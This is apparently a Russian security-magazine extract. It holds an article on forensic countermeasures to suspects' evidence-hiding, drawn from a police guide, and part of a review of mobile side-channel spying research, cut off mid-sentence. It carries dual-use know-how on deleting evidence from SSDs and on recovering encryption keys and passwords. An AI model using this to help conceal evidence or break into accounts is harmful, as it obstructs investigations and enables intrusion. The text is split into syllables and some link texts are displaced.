В  один  прек расный  день  я  нас тра ивал  вло жен ный  крип токон тей нер,
защищен ный  аппа рат ным  крип токлю чом,  и  пытал ся  понять,  как  мож но  доб‐ 
рать ся  до  информа ции,  если  ключ  выдер нули  из  компь юте ра.  В  голове  все
более  чет ко  фор мировал ся  ответ:  никак.  В  этот  самый  момент  меня  поп‐ 
росили  про ком менти ровать  документ  —  по  сути,  руководс тво  полицей ских
экспер тов по поис ку циф ровых улик. Документ при вел меня в такой вос торг,
что, не спро сив офи циаль ного раз решения от его авто ров, я решил написать
на  его  осно ве  статью.  Вло жен ные  крип токон тей неры  вмес те  с  аппа рат ным
крип токлю чом  отпра вились  в  сто рону,  а  я  сел  изу чать  методы,  которы ми,
по  сло вам  полицей ских,  боль шинс тво  под следс твен ных  пыта ются  заметать
сле ды и скры вать ули ки.

ПЕРЕМЕЩЕНИЕ ДАННЫХ В ДРУГУЮ ПАПКУ
Нет, сей час мы обсужда ем не «сок рытие» кол лекции пор ногра фичес ких кар‐ 
тинок  в  пап ке  «Кур совые  по  соп ромату».  Мы  обсужда ем  наив ный,  но  дос‐ 
таточ но дей ствен ный спо соб спря тать ули ки, прос то перемес тив опре делен‐ 
ные дан ные в дру гое мес то на дис ке.

Что  это,  оче вид ная  глу пость  или  зап редель ное  прос тодушие?  Каким  бы
наив ным  ни  казал ся  этот  спо соб,  он  впол не  может  сра ботать  для  ред ких
и  экзо тичес ких  дан ных  —  таких  как  jump  lists  (кста ти,  а  зна ешь  ли  ты,  что
это такое?) или база дан ных мес сен дже ра WhatsApp. У экспер та может прос‐ 
то  не  най тись  вре мени  или  дос таточ ной  целе устрем леннос ти,  что бы  обша‐ 
ривать  весь  компь ютер  в  поис ках  базы  дан ных  от...  а  от  чего,  собс твен но?
Прог рамм  для  мгно вен ного  обме на  сооб щени ями  сущес тву ет  сот ни,  если
не  тысячи;  поди  пой ми,  какой  из  них  поль зовал ся  прес тупник.  И,  заметь,
у каж дого при ложе ния сугубо собс твен ные пути к фай лам, име на и даже свои
фор маты  баз  дан ных.  Искать  их  вруч ную  на  компь юте ре  с  десят ками  тысяч
папок и сот нями тысяч фай лов — занятие бес пер спек тивное.

Оче вид но, что такой спо соб сок рытия улик сра бота ет, исклю читель но если
рас сле дуют ся  прес тупле ния,  не  свя зан ные  с  информа цион ной  безопас‐ 
ностью.  У  сле дова теля  может  не  воз никнуть  воп росов  по  поводу  содер‐ 
жимого  жес тко го  дис ка  подоз рева емо го,  и  его  ана лиз  прев ратит ся  в  фор‐ 
маль ность.  В  таких  и  толь ко  таких  слу чаях  метод —  назовем  его  «методом
Неуло вимо го Джо» — может сра ботать.

ИСПОЛЬЗОВАНИЕ «БЕЗОПАСНЫХ» МЕТОДОВ КОММУНИКАЦИИ
Этот  пункт  выз вал  у  меня  осо бое  вос хищение.  Сов ремен ные  прес тупни ки,
как  ни  стран но,  неп лохо  ори енти руют ся  в  воп росах  безопас ности.  Они
доволь но  хорошо  пред став ляют,  каким  обра зом  переда ются  сооб щения
меж ду учас тни ками чата, где они сох раня ются и как их уда лять.

В докумен те  под робно опи сыва ются  воз можнос ти,  которы ми может  вос‐ 
поль зовать ся  следс твие  для  того,  что бы  все‐таки  получить  дос туп  к  чатам.
Здесь и иссле дова ние областей freelist баз дан ных в фор мате SQLite, и офи‐ 
циаль ные  зап росы  к  про изво дите лям  мес сен дже ров  (нап ример,  Microsoft
без лиш них воп росов отдаст следс твию логи бесед в Skype — ведь хра нят ся
они на сер верах  ком пании), и даже зап росы к про изво дите лям смар тфо нов
(здесь вспо мина ется исто рия, в которой ком пания BlackBerry помог ла канад‐ 
ской полиции локали зовать бан ду нар котор говцев, решив ших вос поль зовать‐ 
ся  фир менным  мес сен дже ром  ком пании  на  ста рой  плат форме  BlackBerry
OS).

В  этой  свя зи  на  ум  при ходит  курь езный  слу чай,  о  котором  я  услы шал
на  полицей ском  мероп риятии.  Аме рикан ская  полиция  задер жала  челове ка,
подоз ревав шегося  в  нар котор говле  в осо бо  круп ных раз мерах. Подоз рева‐ 
емый был неп лохо под кован  тех ничес ки и в  качес тве единс твен ного метода
обще ния  выб рал  Apple  iMessage.  Сооб щения  iMessage  не  сох раня ются
на сер верах Apple, а подоз рева емый тща тель но очи щал исто рию перепис ки
пос ле каж дой сес сии. В резер вной копии его iPhone не обна ружи лось ничего
инте рес ного.

Од нако, ког да полиция взя лась за иссле дова ние его компь юте ра (у прес‐ 
тупни ка был Mac), их радос ти не было пре дела: на компь юте ре наш лись сот‐ 
ни тысяч (!) сооб щений, о самом сущес тво вании которых прес тупник (теперь
уже точ но прес тупник) вов се не подоз ревал. Осу дить нар котор говца помог ла
новин ка (на тот момент) от Apple — сис тема Continuity, которая син хро низи‐ 
рова ла  сооб щения  iMessage  меж ду  все ми  устрой ства ми,  зарегис три рован‐ 
ными в одной учет ной записи.

К  сло ву,  док ладчик  жаловал ся,  что  все  сущес тво вав шие  на  тот  момент
прог раммы  для  ана лиза  баз  дан ных  iMessage  не  справ лялись  с  таким
количес твом сооб щений и поп росту падали; полиции приш лось писать собс‐ 
твен ную ути литу для пар синга раз бухшей БД.

Мо раль? Морали здесь нет: если ты не спе циалист в IT, знать о подоб ных
момен тах невоз можно.

ПЕРЕИМЕНОВАНИЕ ФАЙЛОВ
Еще  одна  наив ная  попыт ка  спря тать  ули ки  —  пере име нова ние  фай лов.
Как бы прос то это ни зву чало, пере име нова ние, к при меру, зашиф рован ной
базы дан ных какого‐нибудь защищен ного мес сен дже ра во что‐то вро де 

 впол не в сос тоянии прой ти мимо
вни матель ного  взгля да  экспер та.  Дей стви тель но,  в  катало гах  Windows  хра‐ 
нят ся тысячи фай лов; най ти сре ди них что‐то необыч ное (осо бен но если оно
не выделя ется раз мерами) — задача, руч ным тру дом не реша емая.

C:\
Windows\System32\oobe\en‐US\audit.mui

Ка ким  обра зом  ищут  такие  фай лы?  Наив ному  обы вате лю  прос титель но
не  знать  о  сущес тво вании  целого  клас са  спе циали зиро ван ных  прог рамм,
пред назна чен ных имен но для поис ка подоб ных фай лов на дис ках (и обра зах
дис ков) подоз рева емых. Исполь зует ся отнюдь не толь ко поиск по име ни фай‐ 
ла;  при меня ется  ком плексный  под ход,  ког да  ана лизи руют ся  сле ды  (нап‐ 
ример,  в  реес тре  Windows)  уста нов ленных  при ложе ний,  пос ле  чего  отсле‐ 
жива ются пути к фай лам, к которым получа ли дос туп эти при ложе ния.

Дру гой  популяр ный  спо соб  поис ка  пере име нован ных  фай лов  —  так
называ емый кар винг, или сквоз ной поиск по содер жимому. В точ ности такой
же  под ход,  ина че  извес тный  как  «поиск  по  сиг натурам»,  исполь зовал ся
с начала вре мен абсо лют но во всех анти вирус ных прог раммах. При помощи
кар винга  мож но  про ана лизи ровать  как  содер жимое  фай лов  на  дис ке,  так
и содер жимое самого дис ка (или толь ко занятых областей) на низ ком уров не.

Сто ит  ли  пере име новы вать  фай лы?  Это  —  оче ред ная  хит рость  «Неуло‐ 
вимо го Джо», спо соб ная защитить лишь от очень лениво го сле дова теля.

УДАЛЕНИЕ ФАЙЛОВ
Не уве рен, нас коль ко «наив но» на сегод няшний день пытать ся скрыть ули ки,
уда ляя фай лы. Дело в том, что фай лы, уда лен ные с обыч ных жес тких дис ков,
как  пра вило,  доволь но  лег ко  вос ста нав лива ются  при  помощи  уже  хорошо
зна комо го  сиг натур ного  поис ка:  диск  ска ниру ется  поб лочно  (сей час  нас
инте ресу ют  фраг менты,  не  занятые  сущес тву ющи ми  фай лами  и  про чими
струк турами фай ловой сис темы), каж дый про читан ный блок дан ных ана лизи‐ 
рует ся  на  соот ветс твие  ряду  кри тери ев  (явля ется  ли  он  заголов ком  фай ла
опре делен ного фор мата, частью тек сто вого фай ла и так далее). При помощи
такого  ска ниро вания,  выпол няемо го,  к  сло ву,  в  пол ностью  авто мати чес ком
режиме,  веро ятность  успешно го  (хотя  бы  час тично го)  вос ста нов ления  уда‐ 
лен ных фай лов дос таточ но велика.

Кри мина лис тичес кое ПО (на скрин шоте — Belkasoft Evidence Center)
уме ет вос ста нав ливать уда лен ные дан ные, такие, нап ример, как чаты
скай па, с помощью глу боко го ана лиза баз SQLite

Ка залось бы, уда ление фай лов — клас сичес кая «наив ная» попыт ка спря тать
ули ки. Но толь ко не ког да фай лы уда ляют ся с SSD‐дис ков.

Здесь нуж но рас ска зать чуть под робнее о  том,  как работа ет уда ление  (и
пос леду ющее чте ние) дан ных на SSD. Навер няка ты слы шал о сущес тво вании
«сбор щика  мусора»  и  фун кции  TRIM,  поз воля ющих  сов ремен ным  SSD  под‐ 
держи вать высокую про изво дитель ность при записи (и осо бен но — переза‐ 
писи)  дан ных.  Коман да  TRIM  пода ется  опе раци онной  сис темой;  она  сооб‐ 
щает  кон трол леру  SSD,  что  опре делен ные  бло ки  дан ных  с  опре делен ными
физичес кими  (на  самом  деле  нет)  адре сами  осво бож дены  и  более
не исполь зуют ся.

За дача  кон трол лера  теперь  —  очис тить  (про извести  сти рание  дан ных)
ука зан ные бло ки, под готовив их таким обра зом для того, что бы в них мож но
было быс тро записать новую информа цию.

Но  сти рание  дан ных  —  про цесс  очень  мед ленный,  и  про исхо дит  он
в фоновом режиме, ког да наг рузка на диск пада ет. А если сра зу пос ле коман‐ 
ды TRIM пос тупа ет  коман да записи в  тот самый «физичес кий» блок? В этом
слу чае кон трол лер мгно вен но под меня ет такой блок пус тым, прос то модифи‐ 
циро вав зна чение в таб лице пере адре сации. А тот блок, который пред назна‐ 
чен  для  сти рания,  получа ет  дру гой  «физичес кий»  адрес  или  вов се  помеща‐ 
ется в неад ресу емый пул из резер вной области.

Воп рос на засып ку: а если кон трол лер не успел физичес ки сте реть дан ные
из TRIM’нутых бло ков, смо жет ли сиг натур ный поиск най ти что‐либо в сво бод‐ 
ных областях SSD?

Пра виль ный  ответ:  в  боль шинс тве  слу чаев  при  попыт ке  счи тать  дан ные
из бло ка, на который пос тупила коман да TRIM, кон трол лер выдаст либо нули,
либо  дру гую  пос ледова тель ность  дан ных,  ничего  обще го  не  име ющую
с  реаль ным  содер жимым  бло ка.  Свя зано  это  с  осо бен ностя ми  реали зации
в  сов ремен ных  SSD  про токо лов,  в  которых  чет ко  опре деля ется  поведе ние
кон трол лера при попыт ке счи тать блок пос ле коман ды TRIM. Зна чений здесь
все го три: Undefined (кон трол лер вер нет реаль ное содер жимое бло ка; в сов‐ 
ремен ных  SSD  прак тичес ки  не  встре чает ся),  DRAT  (Determined  Read  After
Trim,  или  фик сирован ные  дан ные  пос ле  Trim;  в  пот ребитель ских  моделях
встре чает ся чаще все го) и DZAT (Determined Zeroes After Trim, или всег да воз‐ 
вра щать нули пос ле коман ды Trim; час то встре чает ся в моделях, пред назна‐ 
чен ных для работы в сос таве RAID, NAS и в сер верных сце нари ях).

Та ким обра зом, в подав ляющем боль шинс тве слу чаев кон трол лер вер нет
нам  дан ные,  не  име ющие  ничего  обще го  с  реаль ным  содер жимым  накопи‐ 
теля. Вос ста новить уда лен ные фай лы с SSD в боль шинс тве слу чаев не удас‐ 
тся даже спус тя секун ды пос ле их уда ления.

ХРАНЕНИЕ ДАННЫХ В ОБЛАКЕ
Дан ные  —  в  обла ке?  Ты  ска жешь,  что  нас толь ко  глу пых  прес тупни ков  уже
не  оста лось,  и  будешь  не  прав.  Поль зовате ли  с  завид ным  пос тоянс твом
забыва ют  отклю чить  то  iCloud  Photo  Library,  то  син хро низа цию  OneDrive
или  Google  Drive,  а  то  и  более  экзо тичес кие  виды  син хро низа ции  —  нап‐ 
ример, нас трой ку (которой, кста ти, в  iOS вов се нет; может, поэто му забыва‐ 
ют?), бла года ря которой информа ция о звон ках с iPhone (как по телефо ну, так
и  через  FaceTime)  сра зу  попада ет  на  сер веры Apple. При меры с  «забытым»
режимом Continuity и мес сен дже ром BlackBerry я уже при водил.

По жалуй,  здесь мне  нечего  добавить,  кро ме  того,  что  дан ные  из  обла ка
ком пании выда ют полиции без осо бого соп ротив ления.

ИСПОЛЬЗОВАНИЕ ВНЕШНИХ НАКОПИТЕЛЕЙ
Ис поль зование зашиф рован ных фле шек для хра нения информа ции, свя зан‐ 
ной с нелегаль ной деятель ностью, кажет ся прес тупни кам гени аль ной иде ей.
Казалось  бы,  ничего  не  нуж но  уда лять  —  дос таточ но  выдер нуть  флеш ку
из компь юте ра, и дос туп к дан ным не получит ник то и никог да  (если защита
стой кая). Имен но так рас сужда ют наив ные прес тупни ки.

По чему «наив ные»? Дело в том, что боль шинс тво прос тых поль зовате лей
не  име ет  пред став ления  о  «хвос тах»,  которые  оста ются  пос ле  прак тичес ки
любых манипу ляций  с USB‐устрой ства ми.  Так,  однажды рас сле довал ся  слу‐ 
чай  с  рас простра нени ем  дет ской  пор ногра фии.  Прес тупни ки  исполь зовали
исклю читель но  внеш ние  накопи тели  (обыч ные  флеш ки);  на  дис ках  не  хра‐ 
нилось ничего.

Прес тупни ки не учли сра зу два момен та. Пер вый: информа ция о под клю‐ 
чении USB‐устрой ств сох раня ется в реес тре Windows; если ее не уда лять, то
хра нит ся  она  там  очень  и  очень  дол го. И  вто рой момент:  если  для  дос тупа
к изоб ражени ям поль зовать ся встро енным в Windows про вод ником, то авто‐ 
мати чес ки  соз дают ся  (и  сох раня ются!)  умень шен ные  превью  фотог рафий
(thumbnails),  обыч но  по  адре су 

.  Про ана лизи ровав  умень шен ные  изоб ражения  и  сопос тавив  иден‐ 
тифика торы USB‐устрой ств с кон фиско ван ными, следс твию уда лось доказать
при час тность обви няемых к инкри мини руемо му прес тупле нию.

%LocalAppData%\Microsoft\Windows\Ex‐
plorer\

А что же с шиф ровани ем? И здесь не все оче вид но. Во‐пер вых, сущес тву‐ 
ют спе циали зиро ван ные при ложе ния, поз воля ющие соз дать дамп опе ратив‐ 
ной памяти компь юте ра и извлечь из него крип тогра фичес кие клю чи, исполь‐ 
зующиеся для дос тупа к зашиф рован ным томам (в час тнос ти, к популяр ному
сре ди  наив ных  прес тупни ков  BitLocker  To Go).  При мер  такой  прог раммы —

,  при  помощи  которой  мож но  про ана лизи‐ 
ровать  дамп  в  пол ностью  авто мати чес ком  режиме.  А  соз дать  образ  опе‐ 
ратив ной памяти мож но при помощи бес плат ной ути литы 

.

Elcomsoft  Forensic  Disk  Decryptor

Belkasoft RAM Cap‐
turer

Belkasoft RAM Capturer

Во‐вто рых, ни для кого не сек рет, что мно гие крип токон тей неры авто мати чес‐ 
ки депони руют клю чи шиф рования в обла ко. И если Apple при акти вации File‐
Vault 2 нес коль ко раз уве домит поль зовате ля о том, что вос ста нов ление дос‐ 
тупа  к  раз делу  будет  воз можно  через  iCloud,  то  Microsoft  при  шиф ровании
тома  с  исполь зовани ем  BitLocker  Device  Protection  прос то  мол ча  соз дает
депони рован ный ключ в учет ной записи поль зовате ля Microsoft Account. Клю‐ 
чи эти дос тупны непос редс твен но на  .стра нице акка унта поль зовате ля

Как получить дос туп к учет ной записи? Если в компь юте ре нас тро ен логин
при  помощи Microsoft  Account  (а  не  локаль ной  учет ной  записи Windows),  то
офлай новая  ата ка  пря мым  перебо ром  может  вос ста новить  пароль,
который —  сюр приз! —  будет  сов падать  с  паролем  от  онлай новой  учет ной
записи Microsoft Account.

ВМЕСТО ЗАКЛЮЧЕНИЯ. ВЛОЖЕННЫЕ КРИПТОКОНТЕЙНЕРЫ С
АППАРАТНЫМ КЛЮЧОМ
Ка залось  бы,  неп робива емая  защита.  Пионер  Вася  может  хихикать
и потирать руч ки, уве рен ный, что уж теперь‐то его дан ные в пол ной безопас‐ 
ности.

Те оре тичес ки  —  да.  Прак тичес ки…  прак тичес ки  —  есть  тон кости  юри‐ 
дичес кого пла на. И вот яркий при мер.

Об виня емый  в  ска чива нии  и  хра нении  дет ской  пор ногра фии  находит ся
в зак лючении в аме рикан ской тюрь ме вот уже два с лиш ним года. Офи циаль‐ 
ное  обви нение — отказ  подоз рева емо го  выдать  пароли  от  зашиф рован ных
внеш них  хра нилищ  (NAS),  где, по мне нию суда,  хра нит ся дет ская пор ногра‐ 
фия.

Хра нит ся она там или нет — неиз вес тно; соот ветс тву юще го содер жимого
у  обви няемо го  най дено  не  было.  Но  обви нение  очень  серь езное,  а  здесь
мож но  и  пожер тво вать  такими  мелоча ми,  как  пре зум пция  невинов ности
и пра во не сви детель ство вать про тив самого себя. Так что обви няемый сидит
и будет сидеть до тех пор, пока не рас кро ет пароли или не умрет от ста рос ти
или иных при чин.

Не так дав но пра воза щит ники подали апел ляцию, в которой ука зыва лось,
что по закону по дан ной статье (отказ от сот рудни чес тва со следс тви ем) мак‐ 
сималь ный срок зак лючения — 18 месяцев. Апел ляция была 
нес мотря на то, что судья приз нал аргу мен ты адво ката 

.  Обви нение  посерь езнее  —  и  судьи  зак роют  гла за  на  что
угод но, вклю чая писаные законы.

от кло нена судом
«инте рес ными и раз‐ 

носто рон ними»

Все  еще  хочешь  поиг рать  с  пра восу дием  в  прят ки?  У меня  нет  для  тебя
хороших новос тей…

Вы ража ем  бла годар ность  Юрию  Губано ву,  генераль ному  дирек тору  ком‐ 
пании «Бел касофт», поделив шемуся инте рес ными под робнос тями о нес коль‐ 
ких недав но рас кры тых слу чаях.
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ВЗЛОМ

Вот  уже  двад цать  пять  лет  хакеры  неп‐ 
рерыв но  : наша час тная жизнь,
при ват ность, пра во на ано ним ность, пра во
на  кон фиден циаль ность  перепис ки  ата‐ 
куют ся, и с каж дым годом все интенсив нее.
Эпо ха  тоталь ного  кон тро ля  уже  на  пороге,
но боль шинс тво людей это не бес поко ит —
даже оше лом ляющие откро вения Сно уде на
широки ми  мас сами  вос при нима ются
как  обыч ный  про ход ной  скан даль чик
от  какого‐то  пар ня.  Что  же  оста ется  нам,
хакерам?  Информи ровать.  На  кон ферен‐ 
циях  по  безопас ности  рас ска зыва ют  о  все
более изощ ренных угро зах — мы отоб рали
десять  док ладов,  которые  пос вящены
новей шим  веяниям  в  области  мобиль ного
шпи она жа.

бь ют тре вогу

1. ГИРОСКОП, КОТОРЫЙ ПРОСЛУШИВАЕТ
Ис точник: 

// Black Hat 2014

Gyrophone: Recognizing Speech From Gyroscope Signals

Сов ремен ные смар тфо ны осна щены мно жес твом сен соров, которые поз‐ 
воля ют  реали зовать  богатый  поль зователь ский  интерфейс.  В  целом  они
полез ны,  но иног да могут  (неп редна мерен но,  конеч но)  раз гла шать  чувс тви‐ 
тель ную информа цию. Рис ки кон фиден циаль нос ти, свя зан ные с такими сен‐ 
сорами,  как мик рофон,  камера и GPS, оче вид ны и  хорошо понят ны, но ока‐ 
зыва ется,  что  и  гирос коп  с  аксе леро мет ром  тоже  могут  быть  опас ны,  ведь
даже Java‐апплет на веб‐сай те может изме рять и сох ранять показа тели этих
сен соров.

Чем  это  гро зит?  Дос туп  к  гирос копу  и  аксе леро мет ру  поз воля ет:  иден‐ 
тифици ровать  поль зовате ля  по  шаб лону  его  ходь бы  (получа емо му  с  аксе‐ 
леро мет ра смар тфо на), счи тывать сим волы, вве ден ные с кла виату ры, рядом
с  которой  лежит  смар тфон,  и  даже  прос лушивать  раз говоры  без  дос тупа
к  нас тояще му  мик рофону  —  исполь зуя  гирос коп  в  качес тве  гру бого  мик‐ 
рофона.  Под робная  инс трук ция  о  том,  как  все  это  сде лать,  находит ся
в откры том дос тупе.

2. БАТАРЕЙКА, КОТОРАЯ СТУЧИТ
Ис точник:   // Black Hat 2011Battery Firmware Hacking

«Батарей ка? Вы это серь езно? Пар ни, вы чего, при чем тут вооб ще акку‐ 
муля тор моего мобиль ника?» Лад но‐лад но, спо кой но, нач нем изда лека. :) Ты
ког да‐нибудь  задумы вал ся,  как  твоя батарей ка из мобиль ника  узна ёт,  ког да
ей  прек ратить  заряд ку, —  если  она  под клю чена  к  сети,  но  мобиль ник  вык‐ 
лючен?  Дело  в  том,  что  сов ремен ный  акку муля тор  име ет  встро енный  мик‐ 
рокомпь ютер,  обща ющий ся  с  заряд ным  устрой ством  и  мобиль ником.
Смарт‐акку муля тор,  вер нее  встро енную  в  него  «сис тему  управле ния  умной
батарей кой» (SBS), мож но пол ностью переп рограм мировать.

Из началь но такая воз можность пре дус мотре на для того, что бы SBS мог ла
более точ но изме рять парамет ры батарей ки и более адап тивно нас тра ивать
алго ритм  заряд ки  (в  зависи мос ти  от  химичес ких  и  дру гих  харак терис тик).
Если  зло умыш ленник  суме ет  изме нить  работу  такого  внут ренне го  мик‐ 
рокомпь юте ра,  то это может при вес ти к перег реву батарей ки или даже к ее
воз горанию.  Так же  зло умыш ленник,  зав ладев ший  дос тупом  к  мик рокомпь‐ 
юте ру смарт‐акку муля тора, получит воз можность наб людать за доверен ными
опе раци ями  с  крип точипом  смар тфо на  (пос коль ку  батарей ка  обща ется
с опе раци онной сис темой по «доверен ному каналу»).

3. СКАЖИ МНЕ, СКОЛЬКО ЭНЕРГИИ ПОТРЕБЛЯЕТ ТВОЙ
ТЕЛЕФОН… И Я СКАЖУ, ГДЕ ТЫ
Ис точник, инс трук ция по экс плу ата ции: 

 // 24th USENIX Security Sym-

posium. 2015. P. 785–800

PowerSpy: Location Track-

ing using Mobile Device Power Analysis

Сов ремен ные мобиль ные  плат формы,  такие  как  Android,  поз воля ют  при‐ 
ложе ниям  узнать  совокуп ное  пот ребле ние  энер гии  на  смар тфо не.  Эта
информа ция  счи тает ся  без вред ной,  и  поэто му  ее  чте ние  не  тре бует  прав
при виле гиро ван ного поль зовате ля.

Чем  это  гро зит?  Все го  лишь  счи тывая  совокуп ное  пот ребле ние  энер гии
смар тфо ном  в  течение  нес коль ких  минут,  мож но  опре делить  мес тополо‐ 
жение  поль зовате ля  это го  смар тфо на.  Совокуп ные  дан ные  об  энер гопот‐ 
ребле нии  телефо на  чрез вычай но  шум ны  из‐за  мно жес тва  ком понен тов
и  при ложе ний,  которые  одновре мен но  пот ребля ют  элек тро энер гию.  Тем
не менее бла года ря  сов ремен ным алго рит мам машин ного  обу чения мож но
их  отсе ять  и  успешно  опре делить  мес тополо жение  смар тфо на.  Под робная
инс трук ция о том, как это сде лать, находит ся в откры том дос тупе.

4. WI-FI ЧИТАЕТ ПО ГУБАМ
Ис точник:   // IEEE Transactions on Mo-

bile Computing. 2016. Vol. 15, № 11. P. 2907–2920

We Can Hear You with Wi-Fi!

Wi‐Fi‐сиг налы  могут  «видеть»  переме щение  и  мес тонахож дение  людей
и «слы шать» их раз говоры — даже тех, у которых нет с собой никакой элек‐ 
тро ники. Это ста новит ся воз можным бла года ря прод винутым тех никам ради‐ 
окар тогра фиро вания:  круп нозер нистое  ради окар тогра фиро вание  поз воля ет
«видеть», а мел козер нистое — даже и «слы шать» (при чем одновре мен но сра‐ 
зу нес коль ких людей).

Слу чай  с  Wi‐Fi‐видени ем  более  или  менее  ясен  и  поэто му  не  так  инте‐ 
ресен. Что же каса ется «Wi‐Fi‐слы шания», то здесь сек рет в про фили рова нии
дви жения  ротовой  полос ти.  При  этом  Wi‐Fi‐сиг нал  улав лива ет  харак терное
положе ние  не  толь ко  губ,  но  и  зубов  и  язы ка.  Кро ме  того,  пос коль ку  ради‐ 
осиг налы  про ходят  через  сте ны  и  дру гие  физичес кие  пре пятс твия,  Wi‐Fi
может «слы шать» раз говоры даже за сте ной. Для это го Wi‐Fi‐сиг налу толь ко
надо най ти рот челове ка, не спу тав его при этом с мига ющим гла зом. Но эта
задача впол не реша емая. Под робная инс трук ция о том, как при ручить Wi‐Fi (с
при мене нием  машин ного  обу чения  и  вей влет‐пре обра зова ний),  находит ся
в откры том дос тупе.

5. ЭЛЕКТРОМАГНИТНОЕ ПОЛЕ — ТО ЕЩЕ ПАЛЕВО
Ис точник: 

  //  IEEE Trans-

actions on Mobile Computing. 2015. Vol. 15, № 8. P. 1877–1892

A  Reliability-Augmented  Particle  Filter  for  Magnetic  Fin-

gerprinting Based  Indoor Localization on Smartphone

Indoor‐локали зация  пос редс твом  фик сации  смар тфо ном  элек тро маг‐ 
нитно го  поля  (элек тро маг нитных  отпе чат ков  паль цев)  —  широко  обсужда‐ 
емая тех нология пос ледних лет. Она осно вана на том фак те, что внут ри раз‐ 
ных  помеще ний  маг нитное  поле  отли чает ся  в  зависи мос ти  от  при род ных
и  искусс твен ных  фак торов:  конс трук тивных  осо бен ностей  сталь ного
или железо бетон ного  кар каса,  конс трук тивных осо бен ностей элек три чес кой
сети и так далее.

Та ким обра зом, у каж дого помеще ния есть свой 
. Соот ветс тву ющие про фили маг нитно го поля могут

исполь зовать ся в качес тве отпе чат ков паль цев для indoor‐локали зации. Элек‐ 
тро маг нитная  indoor‐локали зация  пос тепен но  вытес няет  Wi‐Fi‐ради окар‐ 
тогра фиро вание, пос коль ку менее энер гозат ратна. Ведь для фик сации элек‐ 
тро маг нитно го  поля  ничего,  кро ме  смар тфо на,  не  нуж но.  А  генери ровать
это  поле  не  тре бует ся — оно  уже  есть.  Тог да  как  при Wi‐Fi‐ради окар тогра‐ 
фиро вании необ ходимо наличие нес коль ких при емни ков и передат чиков Wi‐
Fi‐сиг нала.

уни каль ный элек тро- 

маг нитный отпе чаток

Кри тичес кий ком мента рий от 84ckf1r3
Ча ще все го опи сан ным выше методам для прак тичес кой реали зации не хва‐ 
тает точ ности. Им про тивос тоят силь ные помехи, низ кая час тота дис кре тиза‐ 
ции и дру гие физичес кие огра ниче ния. Методы машин ного обу чения и филь‐ 
тра ции  тоже  не  все силь ны.  Нап ример,  сей час  при  помощи  ана лиза  рас‐ 
простра нения сиг налов от раз ных точек дос тупа Wi‐Fi мож но опре делить чис‐ 
ло  дви жущих ся  людей  за  стен кой.  Непод вижные  люди  час то  сли вают ся
с мебелью. Оце нить рост обна ружен ных таким обра зом людей мож но очень
приб лизитель но, а их арти куля цию — невоз можно физичес ки. Не хва тит раз‐ 
реша ющей спо соб ности.

Сис тема  управле ния  батарей кой  слиш ком  при митив на,  что бы  зас тавить
ее ском про мети ровать крип тогра фичес кие клю чи смар тфо на. Все‐таки мик‐ 
рокон трол лер  —  это  не  уни вер саль ный  мик ропро цес сор,  который  теоре‐ 
тичес ки мож но зас тавить выпол нить любой набор команд.

Ина че говоря, вывес ти все это за рам ки proof‐of‐concept край не зат рудни‐ 
тель но —  «Матема тичес кая  теория  свя зи»  и  дру гие  кни ги Шен нона  как  бы
намека ют  нам,  что  нель зя  вос ста новить  слож ный  сиг нал  (с  высокой  энтро‐ 
пией и час тотой) по ана лизу побоч ных прос тых сиг налов. Нап ример, по сту ку
колес  поез да  мож но  получить  при мер ное  пред став ление  о  его  ско рос ти,
но  нель зя  узнать,  какую  ради останцию  слу шает  пас сажир  из  треть его  купе
в пятом вагоне, каково содер жимое его багажа и есть ли он вооб ще.

6. RFID-МАЯЧКИ — СТАРАЯ УГРОЗА НА НОВЫЙ ЛАД
Ис точник:   // Black Hat 2010Extreme-range RFID tracking

Ни  для  кого  не  сек рет,  что  RFID,  эти  кро шеч ные  компь ютер ные  чипы,
которые теперь име ют раз меры мень ше пес чинки, — одно сплош ное палево.
Как  тебе нра вят ся  гра бите ли,  которые  гуля ют  в  цен тре  города со  ска нером
и  ищут  чипиро ван ные  докумен ты  граж дан  из  богатых  стран,  что бы  их  огра‐ 
бить?  А  ведь  это  уже  реаль ность,  пос коль ку  при  помощи  недоро гого  спе‐ 
цобо рудо вания RFID мож но счи тывать с рас сто яния в двад цать мет ров.

Хо зяева  тор говых  сетей  тоже  могут  почувс тво вать  себя  в  чис ле  пер вых
скри пок на праз дни ке тоталь ного шпи она жа, ведь у них на руках есть все воз‐ 
можнос ти  тебя  монито рить  —  бла года ря  RFID‐маяч ку  каж дый  экзем пляр
товара  име ет  уни каль ный  иден тифика тор.  Этот  иден тифика тор  может  быть
лег ко  свя зан  с  покупа телем.  Нап ример,  для  опре деле ния  «час того  покупа‐ 
теля» при ска ниро вании его кре дит ки.

RFID‐чипы могут быть счи таны с рас сто яния, пря мо через одеж ду, кошелек
или  рюк зак —  без  тво его  ведома  и  сог ласия.  Мы,  пот ребите ли,  не  можем
знать,  в  каких  про дук тах  есть  эти  чипы,  а  в  каких  нет. RFID‐чипы могут  быть
хорошо  спря таны.  Нап ример,  они  могут  быть  зашиты  в  швы  одеж ды,  рас‐ 
положе ны меж ду сло ями кар тона, отли ты в плас тмас се или резине, интегри‐ 
рова ны  в  дизайн  пот ребитель ской  упа ков ки.  Кро ме  того,  необ ходимая
для  работы  этих  чипов  антенна  сей час  может  прос то  печатать ся  про водя‐ 
щими  чер нилами,  что  дела ет  RFID‐чипы  прак тичес ки  незамет ными.  Некото‐ 
рые  ком пании  даже  экспе римен тиру ют  с  дизай ном  упа ков ки,  которая  сама
по себе будет антенной.

В ито ге в ско ром вре мени у пот ребите ля не будет воз можнос ти узна вать,
есть ли в при обре таемом им товаре RFID‐маячок или нет.

7. УЛЬТРАЗВУКОВОЙ ЗАГОВОР: UBEACONS
Ис точник: 

 // Black Hat 2016

Talking  Behind  Your  Back.  Attacks  &  Countermeasures

of Ultrasonic Cross-Device Tracking

Эко сис тема  уль траз вуково го  отсле жива ния  (uBeacons)  —  отно ситель но
новая тех нология, которая исполь зует ауди омаяч ки, не слы шимые челове чес‐ 
ким  ухом,  для  отсле жива ния  поль зовате лей  и  устрой ств.  uBeacons  —
это  высоко час тотные  ауди омаяч ки,  излу чение  которых  фик сиру ется  боль‐ 
шинс твом ком мерчес ких динами ков и мик рофонов. Этот уль траз вук — свя той
Гра аль  мар кетоло гов,  пос коль ку  поз воля ет  отсле живать  дей ствия  поль‐ 
зовате лей на раз ных устрой ствах.

Нап ример, зная, что дядя Вася толь ко что пос мотрел телеви зион ное объ‐ 
явле ние и сей час уже сидит в интерне те со сво его смар тфо на  (что бы най ти
подарок  на  день  рож дения),  рек ламода тель может  показы вать  релеван тную
